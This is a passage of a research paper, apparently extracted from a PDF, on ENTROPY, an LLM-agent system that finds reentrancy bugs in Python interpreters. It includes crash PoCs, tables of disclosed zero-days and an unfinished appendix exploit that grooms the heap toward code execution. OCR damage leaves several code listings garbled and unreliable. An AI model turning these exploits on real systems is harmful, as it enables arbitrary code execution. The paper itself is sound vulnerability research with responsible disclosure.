sink holds.

3.2. PoC Synthesis and Validation

Given the result of reentrancy-aware integrity analysis,
ENTROPY synthesizes proof-of-concepts (PoCs) that trigger
the corresponding reentrant executions and violate the asso-
ciated integrity constraints, using an agentic approach.

Synthesis Workflow. The PoC synthesis workflow includes
reentrancy-seed synthesis and integrity-violation synthesis.



@ User Prompt

Task Information v

<Task>Synthesize a Python PoC for the reentrant interpretation

vulnerability that (i) triggers the target reentrant call and (ii)
causes the specified integrity violation, using the provided static
analysis artifacts.</Task>

Flow Information with File Pointers
and Descriptions

<Artifact>You are given:
1/ reentrant seed.py: script that verifies reentrancy seed.
2/ cross reentrancy.json: detailed cross-reentrancy path.
3/ reentrant flow.json: reentrancy-triggering flow.

4/ integrity flow.json: integrity-constrained flow.

5/ Integrity violation type: <TYPE>

6/ Clobbering mechanism: <MECHANISM></Artifact>

<Tools>You are provided with the following tools:

1/ Flow viewer: inspect reports and inline code context.
2/ Code search: search interpreter source (grep/ripgrep).
3/ File write: write and save PoC programs. show_source.py

4/ Run interpreter: execute instrumented inter| show reentrant site.py
feedback.</Tools> show_integrity_sink.py

Step Guidance show_flow_summary.py
<Steps>

show_flow_details.py
1/ Inspect the summary of the flow using the flow viewer tools,
...</Steps>

<Output>...</Output>

Figure 4: Example of prompt used in the second-stage PoC
synthesis.

First, to facilitate reentrancy seed synthesis, ENTROPY
groups paths by their reentrancy flow path, i.e., @ in Figure[2]
and feeds them to LLM agents to synthesize inputs that
trigger the reentrant call. This grouping is beneficial because
paths sharing the same reentrancy flow require identical
triggering code, and the triggering pattern naturally serves as
the entry point for subsequent integrity-violation synthesis.

Second, guided by the complete cross-reentrancy path
information (@0@®©®O in Figure E]) and the reentrancy seeds
from stage one, ENTROPY synthesizes inputs that realize
the full cross-reentrancy path to reach the integrity sink and
violate the associated integrity constraint. We observe that
violating integrity constraints is easier to achieve than satis-
fying complex path conditions: the former has readily avail-
able information, including the target object, integrity sink,
and clobbering mechanism, while the latter may require
solving complex branch predicates. Therefore, ENTROPY
adopts a best-first synthesis strategy: it prioritizes generating
PoCs for paths with simpler control-flow conditions that are
more likely to be realizable, then progressively tries paths
with more complex constraints. This approach allocates the
synthesis budget efficiently, generating exploits for feasible
paths before spending effort on paths that may be infeasible
due to unsatisfiable conditions.

Prompt and Agent Capabilities. For both synthesis stages,
ENTROPY provides the agent with: (i) a clear task descrip-
tion, (ii) static analysis results, (iii) source code of the target
interpreter, and (iv) a schema for output format. In stage one,
the static analysis result includes the target reentrancy flow
path. In stage two, the static analysis results include: the
reentrancy seed from stage one, the cross-reentrancy path,
integrity types, and the clobbering mechanism. Figure [
shows an example prompt for stage two synthesis.

The agent is equipped with four tools to facilitate syn-
thesis. First, static analysis flow viewer tools allow the agent
to examine the static analysis report structurally. Instead

of directly embedding verbose path details in the prompt,
ENTROPY provides the agent with tools to view flows at
different granularities of data, such as source and sink
locations, function-level summaries, detailed path segments,
and presentation, such as file and line numbers, or code
snippets with inline annotations, following the progressive
disclosure principle [47]. Second, the interpreter’s source
code enables complementary code searching. Third, file
writing tools enable the agent to generate and save Python
code as inputs. Fourth, an instrumented interpreter provides
precise execution feedback: stage one uses selective path
tracing on basic blocks in the target reentrancy flow, while
stage two runs under sanitizers, e.g., AddressSanitizer, to
detect integrity violations at the moment they occur.

Validation. Once a candidate PoC is produced, ENTROPY
performs independent post-synthesis validation. For mem-
ory corruption bugs, ENTROPY checks that the sanitizer
report matches the predicted integrity violation type and
that the faulting instruction corresponds to the predicted
integrity sink. For hangs detected via timeout, ENTROPY
distinguishes deadlocks from infinite loops by examining
the process wait channel, i.e., wchan, and stack depth.

4. Implementation

ENTROPY is implemented as a multi-step analysis
pipeline with 8,441 lines of Python, 5,072 lines of CodeQL,
and 67 lines of C, excluding tests and third-party libraries.
We implement its static analysis components in CodeQL
v2.23.5 as custom queries for reentrant call identification,
taint-flow analysis, and integrity checking. The flow-overlap
analysis is implemented in Python using the interprocedural
control-flow graph and the taint-node-to-basic-block map-
ping produced by these CodeQL analyses.

We implemented the agentic PoC synthesis using GPT-
5.2 as the language model and use Codex [48] as the
underlying agentic framework, equipping the agent with
additional skills [47] for reviewing static analysis results.
For dynamic validation, we instrument the target using
LLVM SanitizerCoverage with a custom hook that performs
basic-block-level tracing, guided by the static analysis path
under test. All artifacts are available at jhttps://github.com/
jackfromeast/Entropy.

5. Evaluation

We aim to answer the following research questions:

RQ1 Zero-day Vulnerabilities: How effective is ENTROPY
in detecting RIVs in widely used Python interpreters?

RQ2 FPs&FNs: What are the false positives (FPs) and
false negatives (FNs) of ENTROPY under empirical
evaluation?

RQ3 Ablation Study: How do the individual components
of ENTROPY contribute to its RIV detection on
CPython?

RQ4 Comparison: Can existing interpreter fuzzers dis-
cover RIVs under the evaluated settings and time
budgets?
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TABLE 1: A selective list of zero-day RIVs detected by ENTROPY across Python interpreters. The complete list is available at Table ﬁ

Locations*

Target  Title Module Type Affected Ver. Status
Entry Site Reentrant Site  Integrity Violation Site
Use-after-free in itertools.groupbyf itertools itertoolsmodule.c:534 object.c:1053 refcount.h:127 Liveness 3.9-3.15 Confirmed
Use-after-free in sqlite3 progress handler sqlite3 connection.c.h:948 object.c:2060 connection.c:900 Liveness 3.11-3.15 Fixed
Use-after-free in zoneinfo.get_weak_cachef zoneinfo _zoneinfo.c.h:22 _zoneinfo.c:329 object.h:277 Liveness 3.9-3.15 Fixed
CPython Type confusion in zoneinfo.get_weak_cache zoneinfo  _zoneinfo.c.h:22 _zoneinfo.c:342  object.c:3174 Type 3.9-3.15 Confirmed
Type confusion in float comparison core floatobject.c:371 abstract.c:1375 longobject.c:5560 Type 3.9-3.15 Fixed
Type confusion in operator.methodcallerf operator  descrobject.c:536 descrobject.c:532  unicodeobject.c:1584 Type 3.9-3.12,3.15 Confirmed
Global buffer overflow in bytearray.extend core bytearrayobject.c.h:1197  abstract.c:120 pystrtod.c:356 Bounds 3.9-3.15 Fixed
Null pointer dereference in Text IOWrapper.close io textio.c.h:1155 textio.c:3252 object.h:277 Null-safety 3.9-3.15 Fixed
Out-of-bounds read in bytearray constructor core objarray.c:182 runtime.c:1404 objgenerator.c:196 Bounds v1.27.0 Confirmed
MicroPy Use-after-free in 1ist.count core objlist.c:357 obj.c:280 obj.c:233 Liveness v1.27.0 Reported
Null pointer dereference in dict comparison core runtime.c:396 map.c:278 obj.c:247 Null-safety v1.27.0 Reported
RustPy Deadlock in array.tofile array array.rs:936 array.rs:946 array.rs:941 Lock v0.4.0 Fixed
Panic in hash wrapping with oversized int core slot.rs:361 slot.rs:362 slot.rs:369 Type v0.4.0 Fixed

Legend: *: All locations are reported as filename:line and correspond to the interpreter versions in Table |2} {: indicates that exploitability is
confirmed and the vulnerability can be leveraged to achieve arbitrary native code execution (i.e., get shell).

5.1. Experimental Setup

TABLE 2: Overview of Python interpreters under test.

Interpreter  Stars Language LoC Version (Commit)
CPython 71K C 791K v3.15.0al+ (fbf0843)
MicroPython 21.3K C 329K v1.27.0 (1588c45)
RustPython  21.6K Rust 166K v0.4.0 (21300f6)

Python Interpreters Under Test. Our study targets the
three most widely used Python interpreters: CPython [49],
MicroPython [50], and RustPython [51]]. CPython is the ref-
erence implementation of Python and serves as the de facto
standard interpreter in production environments. MicroPy-
thon is a lightweight implementation designed for micro-
controllers and embedded systems, optimized for resource-
constrained settings. RustPython is a Python interpreter
implemented in Rust, with an emphasis on memory safety.
Table 2] provides an overview of the three interpreters.

Dataset. We curated a dataset of existing RIVs in CPython,
MicroPython, and RustPython from GitHub issues with
crash-related labels (e.g., type—crash). We filtered for
issues containing both proof-of-concept code and sanitizer
evidence (e.g., AddressSanitizer output or panic messages),
yielding 177 CPython, 7 MicroPython, and 5 RustPython
issues. We manually analyzed each to verify it matches our
RIV definition: user code triggering nested interpretation
that mutates state assumed unchanged by the outer opcode
handler. After reproducing crashes with provided PoCs, we
confirmed 10 RIVs in CPython, 1 in MicroPython, and 1 in
RustPython (Table @).

Environment. All the experiments are conducted on a
server with Intel(R) Core(TM) i9-14900K CPU with 192
GB RAM, running Ubuntu 24.04 LTS.

5.2. RQ1: Zero-day Vulnerabilities

5.2.1. Statistics and Breakdowns. In this subsection, we
answer the research question regarding the zero-day RIVs
detected by ENTROPY. We define a detected RIV as a
zero-day vulnerability if it meets the following criteria: (i)

ENTROPY generated a working PoC, (ii) it follows our
definition of RIV, and (iii) there is no prior public disclosure.
We deduplicated PoCs by root cause, collapsing cases that
share the same reentrant call and violate the integrity of
the same runtime variable. In total, ENTROPY detected 114
zero-day RIVs: 72 in CPython, 28 in MicroPython, and 14
in RustPython.

TABLE 3: Breakdown of discovered zero-day vulnerabilities by
integrity type, interpreter, and module.

| CPython | MicroPython | RustPython | Total
| Core Mod. | Core Mod. | Core Mod. |

Integrity Types

Liveness 23 20 14 1 2 0 60
Null-Safety 2 11 5 0 0 0 18
Bounds 5 6 3 2 0 0 16
Type 1 4 3 0 2 0 10
Lock 0 0 0 0 7 3 10
Total \ 31 41 \ 25 3 \ 11 3 \ 114

Note: Although RustPython prevents memory corruption by panicking
when a reentrant call invalidates expected state, we classify this as a
Liveness Integrity violation because it causes an unrecoverable process
abort in interpreter.

Table [T] presents a selective list of representative RIVs,
and Table [3] provides a complete breakdown by integrity
type, interpreter, and code location. We observe that a
substantial fraction of vulnerabilities affect the interpreter
core rather than just standard modules, underscoring their
severity and the fact that such issues have largely been over-
looked by prior analyses. Across integrity types, liveness and
null-safety violations are the most prevalent, reflecting that
reentrant interpretation frequently invalidates assumptions
about object lifetime and validity. Bounds and type integrity
violations are also observed, demonstrating that reentrancy
can break a broad range of runtime invariants beyond mem-
ory liveness alone. While Rust’s ownership and borrowing
rules help prevent classic memory-safety violations, we find
that reentrant interpretation in RustPython can still lead
to system panics and deadlocks, causing the interpreter to
hang or abort. This indicates that reentrancy vulnerabilities
manifest differently across interpreter implementations, even
when memory safety is enforced at the language level.



1 import io 1 def body () :
2 buf=None 2 return 1
3 3
4 class I: 4 __build_class__(body, "Evil"
5 def __index__ (self):
6 global buf
7 buf.clear () . . .
8 rotuen 1 (b) Type integrity (MicroPython).
9
10 class R(io.RawIOBase): 1 class Evil:
11 readable=lambda self:True 2 def _ getitem_ (self, i):
12 def readinto(self,b): pass
13 global buf 3 def _ len_ (self):
14 buf=b 4 it.__length_hint__ ()
15 return I () 5
16 6 it = iter(Evil())

17 R().read(0x10) it.__length_hint__ ()

(a) Bounds integrity (CPython). (c) Lock integrity (RustPython).

Figure 5: PoCs demonstrating different integrity violations under
reentrant interpretation (vulnerable code snippet shown in Fig-

ure @

1 static PyObject =
2 _io__ RawIOBase_read_impl (PyObject xself, Py ssize t n)
3 {
4 PyObject xb = PyByteArray_ FromStringAndSize (NULL, n);
5 /+ Reentrant #1: user readinto() =/
6 PyObject xres = PyObject_CallMethodObjArgs (self,
&ID (readinto), b);
7 /+ Reentrant #2: user __index__ () =/
8 n = PyNumber_AsSsize_t (res, PyExc_ValueError);
9 /* Crash: b cleared, size<n =*/
10 memcpy (/+destx/, b->ob_start, /xsizex/ n);

(a) Bounds integrity (CPython).

1 static mp_obj_t
mp_builtin___build_class__ (size_t n_args, const mp_obj_t
*args) {
/+* Reentrant: user body() =/
mp_obj_t cell = mp_call_function_0 (args([0]);
/+ Crash: cast to mp_obj_cell_t x/
mp_obj_cell t xself = (mp_obj_cell_t x) (void x)cell;
}

)

Jo U W

(b) Type integrity (MicroPython).

[

fn _ length_hint__ (&self, vm: &VirtualMachine) -> PyObjectRef
{

2 /+ Lock: mutex on user object =/

3 let internal = self.internal.lock();

4 if let IterStatus::Active(obj) = &internal.status {

5 let seq = PySequence { obj, methods: self.seq methods };
/* Reentrant: user __len_ () =/

seq.length (vm)
.map (x| PyInt::from(x).into_pyobject (vm))
.unwrap_or_else(|_| vm.ctx.not_implemented())

> 0 -1 O

=
= oW

}

(c) Lock integrity (RustPython).

Figure 6: Vulnerable code snippets for the three case studies (PoCs
shown in Figure E]) Code is simplified for explanation.

Overall, the distribution shows that RIVs are both systematic
and diverse, spanning multiple integrity dimensions and
interpreter architectures.

5.2.2. Case Studies. Next, we present three case studies
demonstrating different types of integrity violations caused
by RIVs and how ENTROPY detects them.

Bounds Integrity. Figure shows a zero-day
RIV that violates bounds integrity in CPython’s

_io._RawIOBase.read function. The vulnerability
occurs when the reentrant call at line 8 manipulates the

underlying buffer of object b allocated at line 4. The
subsequent memcpy at line 10 then reads n bytes from
the now-empty buffer without bounds check, causing an
out-of-bounds read. ENTROPY identified a cross-reentrancy
path with reentrant taint flows at line 6—8 and integrity
taint flow at line 4—10, detecting a potential bounds
integrity violation. ENTROPY then successfully generated
the PoC shown in Figure [5a which triggers the sanitizer
and confirms the vulnerability.

Type Integrity. Figure |b| shows an RIV that violates type
integrity in MicroPython’s __ _build_class___ builtin
function. The vulnerability occurs when the user-provided
body function at line 4 returns an unexpected int type, i.e.,
mp_obj_int_t, while the code assumes cell is of type
mp_obj_cell_t and directly casts it at line 6 without
type validation.

This case demonstrates a direct effect of reentrant in-
terpretation, where the return value from the reentrant call
directly violates the caller’s type assumptions, in contrast to
the indirect effect shown in the bounds integrity case study.
The flow structure also exhibits differently: this case shows
a sequential pattern where the reentrant taint flow leads the
integrity violation taint flow, whereas the bounds case shows
an interleaved pattern. By capturing such flows, ENTROPY
successfully generated the PoC shown in Figure [5b]

Lock Integrity. Figure shows an RIV that violates
lock integrity in RustPython’s iterator __length_hint_
method. The vulnerability occurs when a mutex lock is ac-
quired on a user-accessible object at line 3, then a reentrant
call to the user-defined ___1en__ function is made at line 7
while holding the lock. Since the user can trigger a recursive
call to __length_hint__ during reentrant interpretation
(Figure line 4), the nested call attempts to acquire the
same lock, causing a self-deadlock.

ENTROPY identified this vulnerability by detecting the
reentrant taint flow to line 7 and the integrity taint flow to
the lock acquisition site (line 3). Then ENTROPY identified a
cross-reentrancy path where these flows overlap, indicating
the mutex lock is still held during the reentrant call, creating
a deadlock opportunity. ENTROPY successfully generated
the PoC shown in Figure which triggers the deadlock.

5.3. RQ2: False Positives and False Negatives

For false positives, ENTROPY only reports a vulnerabil-
ity after dynamic validation: a generated PoC must trigger
the integrity violation, with matching sanitizer evidence for
memory-safety bugs or runtime evidence for deadlocks.
Static candidates that cannot be validated are discarded.
Therefore, under our reporting criterion, ENTROPY reports
no false positives.

We then analyze false negatives using the curated dataset
of known RIVs. As shown in Table ENTROPY suc-
cessfully reproduced seven out of 10 known reentrancy
issues in CPython and all other issues in MicroPython and
RustPython. We analyzed the root causes of the three false
negatives as follows.



TABLE 4: Recall analysis of ENTROPY on existing reentrant
interpretation vulnerabilities. For issues that may exist in multiple
Python versions, we select the latest version that can reproduce it.

Analysis Stages PoC Syn.
Target Issue Ver. Reent. Integ. CR Path  Time
#139071  3.14 Y N N S}
#130555 3.14 Y Y Y 6m03s
#112127  3.14 Y Y Y 4mO00s
#121225 3.13 Y Y Y 4m00s
CPython #120298  3.13 Y Y Y 4mO06s
Y #115706  3.13 Y Y Y T.O.
#115243  3.13 Y Y Y 6m07s
#91153 3.14 Y Y Y 3m57s
#83602 39 N N N S}
#75011 3.7 Y Y Y 3ml3s
MicroPy #17941 v1.27.0 Y Y Y 2m?29s
RustPy #4315 v0.1.2 Y Y Y 9ml7s
TP/FN/Total 1171712 10/2/12  10/2/12 9/3/12
Recall 91.7% 833%  83.3% 75.0%

The two failures (Issues #139071 and #83602) in static
analysis stage are caused by unresolved indirect calls that
interrupt the taint propagation path. For Issue #139071, the
path encounters, subtype_dealloc, a generic alloca-
tor that dynamically dispatches to a type-specific deallo-
cation routine based on the runtime object’s metadata. In
Issue #83602, the flow passes through do_richcompare,
which resolves the specific comparison operator implemen-
tation at runtime based on operand types.

While ENTROPY identified a vulnerability path for
#115706, the LLM-based synthesizer failed to generate
working PoCs within the time budget due to deep se-
mantic constraints in interpreter fallback mechanisms. In
Issue #115706, triggering the Use-After-Free requires the
left operand’s ___1t___ to both free the operand and return
NotImplemented, signaling the interpreter to retry with
the right operand’s method where the freed operand is
accessed. The synthesizer failed to identify this protocol
requirement and explored regular return values that prevent
fallback execution.

5.4. RQ3: Ablation Study

In this section, we ablate the reentrancy-aware integrity
analysis module in ENTROPY, comparing the full version of
ENTROPY with three variants: (i) without reentrant-flow in-
formation, (ii) without integrity-constrained taint-flow infor-
mation, and (iii) without both reentrant-flow and integrity-
constrained taint-flow information. We run all variants on
CPython and measure the number of unique crashes detected
within one hour. We repeat the experiment three times to
account for randomness in the agent’s synthesis process.

The results are shown in Figure []] ENTROPY consis-
tently finds the most bugs, detecting 10-12 unique bugs
across the three runs. In comparison, the variant using
only under-constrained reentrant-flow information finds 7-8
bugs, the variant using only integrity-constrained taint-flow
information finds 4-6 bugs, and the variant with no flow
information finds only 2-3 bugs.
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Figure 7: Unique crashes found on CPython via agentic PoC
synthesis under different flow information available in the prompt.

On CPython under the evaluated settings, both types of
flow information improve detection over the no-flow base-
line, and combining them yields the best results. Without
flow information, the agent finds few RIVs through code
search alone. Under-constrained reentrant flows improve
performance by exposing relevant call sites, while integrity-
constrained taint flows help identify user-controlled objects
that can affect integrity-constrained variables. The vari-
ant without reentrant-flow information detects fewer bugs
on CPython under these settings. Finally, the full system
achieves the best results, suggesting they are complementary
on CPython: the former narrows down where to trigger
reentrancy, while the latter identifies the targets to clobber in
order to realize an integrity violation. We do not generalize
these ablation results to other interpreters.

5.5. RQ4: Comparison with Existing Fuzzers

We assess whether existing interpreter fuzzers can dis-
cover RIVs under the evaluated settings and time budgets.

Baselines. We choose five state-of-the-art interpreter fuzzers
as baselines. Nautilus [24] and POLYGLOT [52] are general
syntax-aware fuzzers that use Context-Free Grammars and
human-written annotations to guide mutation, respectively.
REFLECTA [27] is a reflection-driven fuzzer built upon
Fuzzili [25] that leverages introspection APIs, and PyRT-
Fuzz [5]] monitors runtime execution traces to guide fuzzing.
Additionally, HLPFuzz [7] is an LLM-based fuzzer that
solves complex constraints during fuzzing.

Settings. For all experiments, we run them for 24 hours,
repeat them five times, record the edge coverage rate and
bugs, and report the average results. Each fuzzing instance
is pinned to a single core. For all fuzzers we evaluate, we
provide the same input if applicable.

Results. Table |5| shows the edge coverage rate and unique
bug counts for each fuzzer. We manually deduplicate crashes
based on their root cause and exclude artificial bugs (e.g.,
those deliberately using ctypes or uctypes). Our experiments
show that all baseline fuzzers detected no RIVs under the



TABLE 5: RIV discovery by existing interpreter fuzzers under
the evaluated settings. ENTROPY’s RQ1 findings are shown for
context.

| CPython | MicroPython | RustPython
Tools | Crash*  Cov. |Crash* Cov. |Crash* Cov.
Nautilus [24] 00) 12.04%| 3(0) 1433%| © o
POLYGLOT [52] | 0(0) 11.19% | 0(0) 8.84% 000) 12.32%
PyRTFuzz [5] 3(0) 14.16% S] S S S]
REFLECTA [27] 0(0) 1595% | 5(0) 22.87% o o
HLPFuzz [7] 00) 2391% S] S S S]
ENTROPY \ 72 o \ 28 o \ 14 )

Legend: * Total crashes (RIV-related crashes in parentheses). & indicates
the tool does not support or is incompatible with the interpreter.

evaluated configurations and 24-hour budget. Triggering
RIVs typically requires complex temporal ordering and se-
mantic coupling across operations, which are challenging
to satisfy without clear guidance. Although they detect no
RIVs under these settings, they discover other vulnerabilities
that ENTROPY does not target. On CPython, PyRTFuzz
finds bugs such as DoS, ReDoS, and OverflowError by
supplying unexpected values, e.g., malformed strings. On
MicroPython, REFLECTA and Nautilus find five and three
memory safety bugs, respectively, including buffer over-
flows and use-after-frees. For example, REFLECTA finds
a use-after-free in the array module on MicroPython by
exercising the extend method with self-referring inputs, e.g.,
arr.extend(arr).

6. Discussion

Defense and Patch. Defending against RIVs is difficult
because they are understudied and can break various in-
tegrity assumptions across object layout and runtime be-
havior. As a result, effective fixes often require module-
specific knowledge of data structures and invariants, making
RIVs subtle and costly to patch. We responsibly reported
all the findings and observed four recurring patching pat-
terns from the maintainers. Across confirmed RIV fixes,
patches generally restore the assumptions that reentrant in-
terpretation can invalidate. (i) For reference-lifetime bugs,
developers promote borrowed references to owned refer-
ences across reentrant calls, e.g., using Py_INCREF () and
Py_DECREF (), or pin the underlying memory through
mechanisms such as buffer exporting. (ii) For internal na-
tive structures not protected by Python reference counting,
patches add explicit ownership or lifetime tracking. (iii) For
released resources, patches guard later accesses with validity
checks such as !obj—->closed. (iv) For invariant viola-
tions, patches revalidate bounds, types, layout, or capacity
before accessing memory or object fields.

Limitations. While ENTROPY detects a considerable num-
ber of RIVs in modern Python interpreters, its static
analysis—Ilike all existing static analyses—is unsound [53],
[54]]. In particular, because the effects of reentrant interpre-
tation depend on user-controlled Python code that is unavail-
able at analysis time, ENTROPY over-approximates reentrant

side effects and flags cross-reentrancy paths that may be
infeasible or not clobberable in practice. We therefore treat
static results as candidates and rely on PoC synthesis and
runtime validation to confirm exploitability. Additionally,
ENTROPY currently supports five classes of common vari-
able integrity constraints. We do not model logic errors or
semantic correctness issues that reentrant interpretation may
also introduce, as detecting such deviations requires formal
specifications of expected interpreter behavior, which we
leave as future work.

7. Related Work

Interpreter Security. Fuzz testing [S]|—[7]], [25], [27]-[32],
[55]-[59] has emerged as the dominant technique for find-
ing vulnerabilities in language processors—compilers and
interpreters. Our evaluation examines RIV discovery by ex-
isting fuzzers, which were not designed specifically for this
class (Section [5.3). Generic mutation-based fuzzers [20]-
[22] struggle to generate syntactically valid inputs that pass
the interpreter’s lexer and parser, and thus rarely exercise the
deep runtime logic where reentrancy vulnerabilities reside.
Grammar-based fuzzers [23]], [24] improve syntactic valid-
ity, enabling them to reach deeper code paths, but they still
struggle with semantic constraints—for instance, type cor-
rectness or ensuring variables are defined before use. Seman-
tic violations frequently trigger runtime exceptions, caus-
ing most test cases to terminate early before reaching the
reentrancy bug code. Spec-guided and IR-based fuzzers [5]],
[25] address this gap through heavy modeling of the tar-
get language to generate semantically correct programs.
Yet, semantic correctness alone is insufficient: reentrancy
vulnerabilities require crafting specific callback chains and
runtime states that violate interpreter invariants [60], [61].
Even recently proposed LLM-based fuzzers [6], [7], [62],
which excel at generating syntactically and semantically
valid code to solve complex branch constraints, face similar
challenges in targeting the specific invariant violations that
RIVs require.

Reentrancy Vulnerabilities. Most well-known reentrancy
vulnerabilities have been reported in Ethereum smart con-
tracts [8]-[12], [63]-[65]. The DAO attack is a canonical
example, where an attacker repeatedly re-enters a vulner-
able function before its state is properly updated, caus-
ing unintended repeated effects (e.g., draining funds) [|66],
[67]. Later work showed that reentrancy can also occur
across different functions that share mutable state [9], [68]],
[69], commonly referred to as self-reentrancy versus cross-
function reentrancy [70]. Beyond smart contracts, CWE-
1265 [[14] describes function-level reentrancy, where a call
path modifies program state that the original caller assumes
is reentrancy-safe. In contrast, RIVS arise from interpreter-
level reentrancy: user-provided Python code may re-enter the
interpreter while an outer interpreter operation is still active,
leading to memory-safety failures and other consequences.



8. Conclusion

In this paper, we design and implement ENTROPY, the
first detection framework for reentrant interpretation vul-
nerabilities (RIVs) in Python interpreters via reentrancy-
aware integrity analysis. ENTROPY tracks cross-reentrancy
data flows, identifies integrity constraints that variables must
hold, and determines when reentrant execution can violate
these constraints, validated through LLM-guided exploit
synthesis. We apply ENTROPY to CPython, MicroPython,
and RustPython, discovering 114 zero-day RIVs with 62
confirmed and 41 patches verified by the paper’s reporting
cutoff.
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Appendix A.
Details of Zero-day Vulnerabilities Found by
ENTROPY.

Table [6] and Table [7] list all 114 zero-day vulnerabilities

ENTROPY discovered—72 in CPython, 28 in MicroPython,
and 14 in RustPython—reporting each one’s crash/integrity-
violation type, affected module, upstream issue, and disclo-
sure status.

TABLE 6: A list of discovered zero-day vulnerabilities in Python
interpreters (part one). Issue and pull request numbers link to
upstream GitHub records when available. Aggregate patch counts
use the paper’s reporting cutoff.

ID Type Module Issue/PR Status
CPython-1 SEGV core #142555 fixed
CPython-2 UAF asyncio #142556 fixed
CPython-3 UAF core #142557 fixed
CPython-4 UAF core #142560 fixed
CPython-5 HBOF core #142595 fixed
CPython-6 SEGV io #142594 fixed
CPython-7 UAF memoryobject #142663 confirmed
CPython-8 UAF core #142664 fixed
CPython-9 BUS memoryobject #142665 confirmed
CPython-10 UAF core #142734 confirmed
CPython-11 UAF core #142637 confirmed
CPython-12 UAF core #142637 reported
CPython-13 UAF core #142637 reported
CPython-14 UAF core #142731 confirmed
CPython-15 UAF struct #143379 fixed
CPython-16 UAF itertools #142732 confirmed
CPython-17 GBOF zoneinfo #142781 fixed
CPython-18 UAF zoneinfo #142782 confirmed
CPython-19 UAF zoneinfo #142783 fixed
CPython-20 SEGV core #142554 fixed
CPython-21 SEGV core #142555 fixed
CPython-22 UAF core #143543 fixed
CPython-23 UAF operator #142732 confirmed
CPython-24 UAF json #143544 fixed
CPython-25 UAF bytecodes #143545 confirmed
CPython-26 UAF marshal #157110 reported
CPython-27 SEGV asyncio #159099 reported
CPython-28 SEGV sqlite #143380 confirmed
CPython-29 UAF core #159098 reported
CPython-30 UAF core #159098 reported
CPython-31 SEGV operator #155733 reported
CPython-32 UAF pickle #143638 fixed
CPython-33 SEGV pickle #143638 fixed
CPython-34 UAF pickle #143639 fixed
CPython-35 HBOF core #143546 fixed
CPython-36 UAF socket #143988 fixed
CPython-37 SEGV bytecodes #143637 fixed
CPython-38 SEGV sqlite #143662 reported
CPython-39 UAF core #143547 fixed
CPython-40 SEGV namespaceobject #143636 fixed
CPython-41 UAF core #143635 fixed
CPython-42 UAF core #159101 reported
CPython-43 SEGV core #142883 confirmed
CPython-44 SEGV array #142884 confirmed
CPython-45 UAF core #142560 fixed
CPython-46 UAF core #143195 fixed
CPython-47 GBOF core #143003 fixed
CPython-48 UAF collections #143004 fixed
CPython-49 UAF core #142829 fixed
CPython-50 HBOF core #143005 confirmed
CPython-51 UAF core #142731 reported
CPython-52 HBOF core #143006 fixed
CPython-53 SEGV io #143007 fixed
CPython-54 SEGV io #143008 fixed
CPython-55 UAF itertools #142732 confirmed
CPython-56 UAF json #142831 fixed
CPython-57 HBOF json #143196 fixed
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TABLE 7: A list of discovered zero-day vulnerabilities in Python
interpreters (part two). Notation follows Table @

ID Type Module Issue/PR Status
CPython-58 UAF core #143195 fixed
CPython-59 UAF pickle #143308 fixed
CPython-60 UAF posix #143309 fixed
CPython-61 UAF core #143197 fixed
CPython-62 HBOF io #141532 fixed
CPython-63 SEGV sqlite #143198 confirmed
CPython-64 UAF sqlite #142830 fixed
CPython-65 SEGV tkinter #143310 fixed
CPython-66 SEGV elementtree #143200 fixed
CPython-67 UAF core #142557 fixed
CPython-68 SEGV io #143378 fixed
CPython-69 UAF core #143236 confirmed
CPython-70 HBOF interpreters #143377 fixed
CPython-71 HBOF interpreters #143376 confirmed
CPython-72 SEGV io #143375 confirmed
MicroPython-1 SEGV array #18617 confirmed
MicroPython-2 SEGV array #18620 confirmed
MicroPython-3 SEGV core #18618 confirmed
MicroPython-4 SEGV core #18619 confirmed
MicroPython-5 SEGV core #18620 reported
MicroPython-6 FPE core #18619 reported
MicroPython-7 SEGV core #18619 reported
MicroPython-8 SEGV core #18619 reported
MicroPython-9 FPE core #18619 reported
MicroPython-10 SEGV core #18639 reported
MicroPython-11 SEGV core #19753 reported
MicroPython-12 SEGV core #19754 reported
MicroPython-13 SEGV core #17948 confirmed
MicroPython-14 Negsize core #19754 reported
MicroPython-15 SEGV core #17117 fixed
MicroPython-16 SEGV core #17117 fixed
MicroPython-17 SEGV core #18619 reported
MicroPython-18 UAF struct #19755 reported
MicroPython-19 SEGV core #18620 reported
MicroPython-20 SEGV core #18619 reported
MicroPython-21 SEGV core #18619 reported
MicroPython-22 SEGV core #19753 reported
MicroPython-23 GBOF re #19756 reported
MicroPython-24 SEGV core #18639 reported
MicroPython-25 SEGV core #17846 reported
MicroPython-26 SEGV core #19621 reported
MicroPython-27 SEGV stream #19755 reported
MicroPython-28 SEGV core #17846 reported
RustPython-1 Deadlock array #6549 confirmed
RustPython-2 Deadlock array #6551 fixed
RustPython-3 Panic core #6550 fixed
RustPython-4 Panic core #6588 fixed
RustPython-5 Deadlock core #6589 confirmed
RustPython-6 Deadlock core #6590 confirmed
RustPython-7 Deadlock core #6591 fixed
RustPython-8 Panic core #8716 fixed
RustPython-9 Panic core #7057 fixed
RustPython-10 Panic core #8716 fixed
RustPython-11 Panic core #7166 fixed
RustPython-12 Deadlock pyexpat #6582 fixed
RustPython-13 Deadlock core #8523 fixed
RustPython-14 Panic core #8582 fixed

Appendix B.
Exploit for the Motivating Example

Listing [3] and Listing [] give a complete end-to-end
exploit for the motivating use-after-free (Listing [I): the first
part triggers the bug and grooms the heap into arbitrary
read/write primitives, and the second part leaks the ELF
base, resolves system, and hijacks a type object to achieve
code execution against the coze-studio platform [4].

/x Utilities */
p64 = lambda x: x.to_bytes(8, "little"
flat = lambda *args: b"".join(
x.to_bytes (8, "little") if isinstance(x, int) else x
for x in args

S W N

)

< o ;

class EvilValue (bytes) :
pass

o ©

o

/* Trigger Use-After-Free in json.encoder =/
class BadDict (dict):
def items (self):
global items_list, SIZE, EvilValue
items_list = [("x", EvilvValue (SIZE - 0x18))]
return items_list

el
o W N

i
&)
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def encode_str (obj):

18 global spray, items_list, fake_ba, SIZE

19 if items_list:

20 items_list.clear () # UAF trigger

21 items_list = None

22 spray = [fake_ba.ljust (SIZE, b"\x00") for _ in
range (0x40) ]

23 return ""

24

25 def default_handler (obj) :

26 global mem

27 mem = obj

28 return ""

29

30 SIZE = 0x100

31 items_list = spray = mem = None

32

33 fake_ba = (

34 P64 (0x123456) # ob_refcnt

35 + p64(id(json.scanner.re.enum.bltns.bytearray))

36 # ob_type

37 + p64(2x%63 - 1) # ob_alloc

38 + p64 (2%x%63 — 1) # ob_bytes

39 + p64(0) = 3

40 )

41

42 encoder = json.encoder.c_make_encoder (

